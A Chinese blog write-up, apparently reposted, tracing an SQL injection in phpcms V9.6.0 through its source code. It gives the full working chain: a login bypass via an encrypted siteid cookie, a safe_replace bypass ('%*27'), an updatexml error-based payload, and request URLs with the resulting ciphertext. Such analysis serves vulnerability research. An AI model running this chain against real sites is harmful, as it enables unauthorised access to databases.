phpcmsV9.6.0sql注入漏洞分析

目录

前言

环境准备

漏洞点

看一看parse_str函数

看一看sys_auth函数

看一看get_one函数

全局搜索sys_auth($a_k, 'ENCODE')

查看safe_replace函数

判断登录绕过

index的业务

加载modules/wap/index.php

加载modules/attachment/attachments.php

加载modules\content\down.php


前言

本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!

环境准备

添加php的运行环境

PHPCMSV9.6.0 源码下载

链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh 
提取码:cefh

漏洞点

请看phpcms\modules\content\down.php 文件下down类中的一个函数方法

public function init() {$a_k = trim($_GET['a_k']);if(!isset($a_k)) showmessage(L('illegal_parameters'));$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));if(empty($a_k)) showmessage(L('illegal_parameters'));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i = $id = intval($i);if(!isset($m)) showmessage(L('illegal_parameters'));if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));if(empty($f)) showmessage(L('url_invalid'));$allow_visitor = 1;$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id));	$siteids = getcache('category_content','commons');$siteid = $siteids[$catid];$CATEGORYS = getcache('category_content_'.$siteid,'commons');...

get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!

看一看parse_str函数

官方文档说明

看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询

看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。

我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。

不过在此之前我们要看一下加解密的这个函数sys_auth();

看一看sys_auth函数

/*** 字符串加密、解密函数*** @param	string	$txt		字符串
* @param	string	$operation	ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param	string	$key		密钥:数字、字母、下划线
* @param	string	$expiry		过期时间* @return	string*/function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');}}

只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。

而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

看来pc_base::load_config('system','auth_key')这个就是密钥了。

找到pc_base这个类的load_config方法,找找看密钥在不在

/*** 加载配置文件* @param string $file 配置文件* @param string $key  要获取的配置荐* @param string $default  默认配置。当获取配置项目失败时该值发生作用。* @param boolean $reload 强制重新加载。*/public static function load_config($file, $key = '', $default = '', $reload = false) {static $configs = array();if (!$reload && isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';if (file_exists($path)) {$configs[$file] = include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}

第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作

    $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
    if (file_exists($path)) {
        $configs[$file] = include $path;
    }

这里给$configs[$file] 赋了值,分析一下。

写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);

根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php

在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。

打开这个文件一看 找auth_key的值

 ok 这个密钥找到了

如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。

全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。

为了确保sql注入的准确执行,看一看get_one函数

看一看get_one函数

		...$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id));	...

 分析一下db是怎么来的,查看down的构造方法

class down {private $db;function __construct() {$this->db = pc_base::load_model('content_model');}

跟进pc_base类下的load_model方法

/*** 加载数据模型* @param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,'model');
}

在跟进_load_class方法

/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}}

 由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'

这个文件是存在的所以会被包含进来

在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。

在父类中有get_one方法

*** 获取单条记录查询* @param $where 		查询条件* @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]* @param $order 		排序方式	[默认按数据库默认方式排序]* @param $group 		分组方式	[默认为空]* @return array/null	数据查询结果集,如果不存在,则返回空*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}

上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法

/*** 将数组转换为SQL语句* @param array $where 要生成的数组* @param string $font 连接串。*/
final public function sqls($where, $font = ' AND ') {if (is_array($where)) {$sql = '';foreach ($where as $key=>$val) {$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";}return $sql;} else {return $where;}
}

假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"

将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);

这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数

class model {//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public  $db_tablepre = '';public function __construct() {if (!isset($this->db_config[$this->db_setting])) {$this->db_setting = 'default';}$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}

找到同级目录下的db_factory类 get_instance静态方法

/*** 返回当前终级类对象的实例* @param $db_config 数据库配置* @return object*/
public static function get_instance($db_config = '') {if($db_config == '') {$db_config = pc_base::load_config('database');}if(db_factory::$db_factory == '') {db_factory::$db_factory = new db_factory();}if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);return db_factory::$db_factory;
}

实例化db_factory类,后面又调用了get_database方法 ,

/*** 获取数据库操作实例* @param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {$this->db_list[$db_name] = $this->connect($db_name);}return $this->db_list[$db_name];}

进入connect方法 看看返回的return $this->db_list[$db_name];是什么

/***  加载数据库驱动* @param $db_name 	数据库配置名称* @return object*/
public function connect($db_name) {$object = null;switch($this->db_config[$db_name]['type']) {case 'mysql' :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();break;case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;case 'access' :$object = pc_base::load_sys_class('db_access');break;default :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();}$object->open($this->db_config[$db_name]);return $object;
}

这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串

connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'

找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找

<?phpreturn array ('default' => array ('hostname' => 'localhost','port' => 3306,'database' => 'phpcmsv9','username' => 'root','password' => '','tablepre' => 'v9_','charset' => 'utf8','type' => 'mysqli','debug' => true,'pconnect' => 0,'autoconnect' => 0),
);?>

既然是default 后面又有type 那么最终返回的就是mysqli

现在可以判断的是刚才的switch语句会执行以下的代码

	case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;

跟进去load_sys_class

/*** 加载系统类方法* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {return self::_load_class($classname, $path, $initialize);
}

 在跟进去_load_class

/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}
}

ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类

由此可见db存的是db_mysqli实例化类

db_mysqli有get_one的方法

/*** 获取单条记录查询* @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]* @param $table 		数据表* @param $where 		查询条件* @param $order 		排序方式	[默认按数据库默认方式排序]* @param $group 		分组方式	[默认为空]* @return array/null	数据查询结果集,如果不存在,则返回空*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}

所以这里的之前的get_one函数会跳转到上面的get_one函数

    final public function get_one($where = '', $data = '*', $order = '', $group = '') {
    if (is_array($where)) $where = $this->sqls($where);
    return $this->db->get_one($data, $this->table_name, $where, $order, $group);

​$where = $where == ' ' ? ' ' : ' WHERE '.$where; ​ 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....

看sql语句的字符串

$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.''.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.'' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。

全局搜索sys_auth($a_k, 'ENCODE')

在phpcms\libs\classes\param.class.php文件中

/*** 设置 cookie* @param string $var     变量名* @param string $value   变量值* @param int $time    过期时间*/public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;$var = pc_base::load_config('system','cookie_pre').$var;$_COOKIE[$var] = $value;if (is_array($value)) {foreach($value as $k=>$v) {setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}} else {setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}}

('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )

$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端

function setcookie(name, value, days) {name = cookie_pre+name;var argc = setcookie.arguments.length;var argv = setcookie.arguments;var secure = (argc > 5) ? argv[5] : false;var expire = new Date();if(days==null || days==0) days=1;expire.setTime(expire.getTime() + 3600000*24*days);document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}

在phpcms/modules/attachment/attachments.php文件中 ,有一个方法

/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr['aid'] = intval($_GET['aid']);$arr['src'] = safe_replace(trim($_GET['src']));$arr['filename'] = urlencode(safe_replace($_GET['filename']));$json_str = json_encode($arr);$att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;param::set_cookie('att_json',$json_str);return true;			}}

查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,

查看safe_replace函数


/*** 安全过滤函数** @param $string* @return string*/
function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','&quot;',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','&lt;',$string);$string = str_replace('>','&gt;',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string;
}

这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!

给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。

判断登录绕过

要使用这个类还有有一个前提
看一看attachments类的初始化工作

class attachments {private $att_db;function __construct() {pc_base::load_app_func('global');$this->upload_url = pc_base::load_config('system','upload_url');$this->upload_path = pc_base::load_config('system','upload_path');		$this->imgext = array('jpg','gif','png','bmp','jpeg');$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;//判断是否登录if(empty($this->userid)){showmessage(L('please_login','','member'));}}

必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可

为了使userid加密 格式正确我们可以看下面的代码

phpcms/modules/wap/index.php

class index {function __construct() {		$this->db = pc_base::load_model('content_model');$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);param::set_cookie('siteid',$this->siteid);	$this->wap_site = getcache('wap_site','wap');$this->types = getcache('wap_type','wap');$this->wap = $this->wap_site[$this->siteid];define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);if($this->wap['status']!=1) exit(L('wap_close_status'));}

这里get接收siteid并且经过加密(set_cookie里)返回  我们可以拿到一个正常的加密的siteid值

一切都看似很美好,那么我们如何传参呢?

index的业务

看首页的index.php

<?php
/***  index.php PHPCMS 入口**  @copyright			(C) 2005-2010 PHPCMS*  @license				http://www.phpcms.cn/license/*  @lastmodify			2010-6-1*///PHPCMS根目录define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH.'/phpcms/base.php';pc_base::creat_app();?>

跟进pc_base类中的creat_app方法

/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class('application');
}

根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类

application类有构造函数

class application {
/*** 构造函数*/
public function __construct() {$param = pc_base::load_sys_class('param');define('ROUTE_M', $param->route_m());define('ROUTE_C', $param->route_c());define('ROUTE_A', $param->route_a());$this->init();
}

这里定义了几根宏后面可能会用到,看看route_m

/*** 获取模型*/
public function route_m() {$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');$m = $this->safe_deal($m);if (empty($m)) {return $this->route_config['m'];} else {if(is_string($m)) return $m;}
}

route_c

/*** 获取控制器*/public function route_c() {$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');$c = $this->safe_deal($c);if (empty($c)) {return $this->route_config['c'];} else {if(is_string($c)) return $c;}}

$param存的应该是param类

进入init函数

/*** 调用件事*/private function init() {$controller = $this->load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match('/^[_]/i', ROUTE_A)) {exit('You are visiting the action is to protect the private action');} else {call_user_func(array($controller, ROUTE_A));}} else {exit('Action does not exist.');}}

进入load_controller

/*** 加载控制器* @param string $filename* @param string $m* @return obj*/private function load_controller($filename = '', $m = '') {if (empty($filename)) $filename = ROUTE_C;if (empty($m)) $m = ROUTE_M;$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';if (file_exists($filepath)) {$classname = $filename;include $filepath;if ($mypath = pc_base::my_path($filepath)) {$classname = 'MY_'.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit('Controller does not exist.');}} else {exit('Controller does not exist.');}}
}

 可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类

call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了

加载modules/wap/index.php

试一下

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1

我们可以看到这里确实返回了cookie

加载modules/attachment/attachments.php

准备加载在phpcms/modules/attachment/attachments.php加载attachments类

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment

我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

/*** 获取事件*/
public function route_a() {$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');$a = $this->safe_deal($a);if (empty($a)) {return $this->route_config['a'];} else {if(is_string($a)) return $a;}
}

我们试试把get传入参数a

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json

注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF

如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。

不过此前我们还要考虑到如下的代码

        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));

 由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1

 此时有cookie的返回

 将这段的cookie记录下来

afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

加载modules\content\down.php

phpcms\modules\content\down.php 加载init函数 传入参数&a_k

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

可以看到这里确实可以存在sql注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/76122.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【漏洞复现】广联达办公OAsql+文件上传+弱口令

漏洞描述 广联达办公OA是一款综合办公自动化解决方案,旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具,帮助企业管理和处理日常办公任务、流程和文档。默认弱口令admin password,后面就不提了。 免责声明 技术文章仅供参考,任何个人和组织使用网络应当…

YOLOv5算法改进(16)— 增加小目标检测层

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。小目标检测层是指在目标检测任务中用于检测小尺寸目标的特定网络层。由于小目标具有较小的尺寸和低分辨率&#xff0c;它们往往更加难以检测和定位。YOLOv5算法的检测速度与精度较为平衡&#xff0c;但是对于小目标的检测效…

构建企业分支网络

构建企业分支网络 目录 1.1 项目背景 1.2 项目拓扑 1.3 项目需求 1.4 设备选型 1.5 技术选型 1.6 地址规划 1.6.1 交换设备地址规划表 1.6.2 路由设备地址规划表 1.6.3 ISP设备地址规划表 1.6.4 终端地址规划表 1.6.4.1 VLAN 规划 1.7 VLAN 规划 1.8 项目实施 1.…

时序分解 | MATLAB实现RIME-VMD霜冰优化算法优化VMD变分模态分解信号分量可视化

时序分解 | MATLAB实现RIME-VMD霜冰优化算法优化VMD变分模态分解信号分量可视化 目录 时序分解 | MATLAB实现RIME-VMD霜冰优化算法优化VMD变分模态分解信号分量可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 RIME-VMD【23年新算法】霜冰优化算法优化VMD变分模态分…

TinTin Web3 动态精选:以太坊基金会推出 EELS、Arbitrum Stylus 上线

TinTin 快讯由 TinTinLand 开发者技术社区打造&#xff0c;旨在为开发者提供最新的 Web3 新闻、市场时讯和技术更新。TinTin 快讯将以周为单位&#xff0c; 汇集当周内的行业热点并以快讯的形式排列成文。掌握一手的技术资讯和市场动态&#xff0c;将有助于 TinTinLand 社区的开…

如何获得一个Oracle 23c免费开发者版

获取23c开发者版 简单介绍可参考这里。 获取数据库可以参考这篇文章Introducing Oracle Database 23c Free – Developer Release或这里。 Docker Image 这是最快的方法。在OCI上创建一个计算实例&#xff0c;然后就可以拉取image使用了。 docker的安装和配置不赘述了。 …

html实现邮件模版布局-flex布局table布局-demo

邮件模版布局 flex - 布局简单方便 兼容性差 table - 优点 就是兼容性好&#xff0c;其他没有优点 注&#xff1a;使用图片需要png最好&#xff0c;使用svg图google邮箱会出现不能使用的情况 效果图 flex布局 <!DOCTYPE html> <html lang"en" xmlns:th&qu…

sql server事务隔离别 、 mysql 事务隔离级别、并发性问题

隔离级别和锁 SQL中 mysql 、Oracle 、sql server 等数据库 都是客户端和服务器架构的软件&#xff0c;对于同一个服务器来说&#xff0c;可以有若干个客户端与之连接&#xff0c;每个客户端与服务器连接上之后&#xff0c;就可以称为一个 【会话&#xff08;session&#xff0…

Linkstech多核并行仿真丨光伏发电系统模型及IEEE 39 bus模型多核并行实测

新能源场站和区域电网作为复杂且具有动态特性的大规模电力系统&#xff0c;需要实时仿真测试来验证其性能、稳定性和响应能力。在这种背景下&#xff0c;多核并行仿真运算显得尤为重要。多核并行仿真能够同时处理电力系统的复杂模型&#xff0c;加速仿真过程&#xff0c;实现接…

YOLOV7改进-具有隐式知识学习的Efficient解耦头

[解耦头][https://github.com/z1069614715/objectdetection_script/blob/master/yolo-improve/yolov7-DecoupledHead.py] 1、复制这些到yolo.py 2、到这 3、复制下半部分到yolo.py 4、替换这里 5、最后的加到上面的这里 6、添加 7、添加 8、V5大概一个点的提升 9、解…

Android Jetpack 中Hilt的使用

Hilt 是 Android 的依赖项注入库&#xff0c;可减少在项目中执行手动依赖项注入的样板代码。执行 手动依赖项注入 要求您手动构造每个类及其依赖项&#xff0c;并借助容器重复使用和管理依赖项。 Hilt 通过为项目中的每个 Android 类提供容器并自动管理其生命周期&#xff0c;…

uni-app(微信小程序)图片旋转放缩,文字绘制、海报绘制

总结一下&#xff1a; 要进行海报绘制离不开canvas&#xff0c;我们是先进行图片&#xff0c;文字的拖拽、旋转等操作 最后再对canvas进行绘制&#xff0c;完成海报绘制。 背景区域设置为 position: relative&#xff0c;方便图片在当前区域中拖动等处理。添加图片&#xff0…

基于 Web HID API 的HID透传测试工具(纯前端)

前言 最近在搞HID透传 《STM32 USB使用记录&#xff1a;HID类设备&#xff08;后篇&#xff09;》 。 市面上的各种测试工具都或多或少存在问题&#xff0c;所以就自己写一个工具进行测试。目前来说纯前端方案编写这个工具应该是最方便的&#xff0c;这里放上相关代码。 项目…

数据库实现学生管理系统

1.QT将数据库分为三个层次&#xff1a; 1> 数据库驱动层&#xff1a;QSqlDriver、QSqlDriverCreator、QSqlDriverCreatorBase、QSqlDriverPlugin 2> sql接口层&#xff1a;QSqlDatabase、QSqlQuery、QSqlRecord、QSqlError 3> 用户接口层&#xff1a;提供一些模型QSql…

linux非root安装特定版本的cuda

由于一些代码实现&#xff08;cuda写的外部扩展包&#xff09;对cuda版本要求比较高&#xff0c;因此&#xff0c;我在实验室linux系统下默认的cuda版本上&#xff0c;没办法编译扩展包。需要重新安装特定版本的cuda。 一. 首先&#xff0c;需要查看系统版本&#xff1a; lsb…

LabVIEW利用人工神经网络辅助进行结冰检测

LabVIEW利用人工神经网络辅助进行结冰检测 结冰对各个领域构成重大威胁&#xff0c;包括但不限于航空航天和风力涡轮机行业。在起飞过程中&#xff0c;飞机机翼上轻微积冰会导致升力降低25%。研究报告称&#xff0c;涡轮叶片上的冰堆积可在19个月的运行时间内造成29MWh的功率损…

【微服务部署】四、Jenkins一键打包部署NodeJS(Vue)前端项目步骤详解

本文介绍使用Jenkins一键将NodeJS&#xff08;Vue&#xff09;前端项目打包并上传到生产环境服务器&#xff0c;这里使用的是直接打包静态页面&#xff0c;发送到远程服务器Nginx配置目录的方式&#xff0c;首先确保服务器环境配置好&#xff0c;安装Nginx&#xff0c;运行目录…

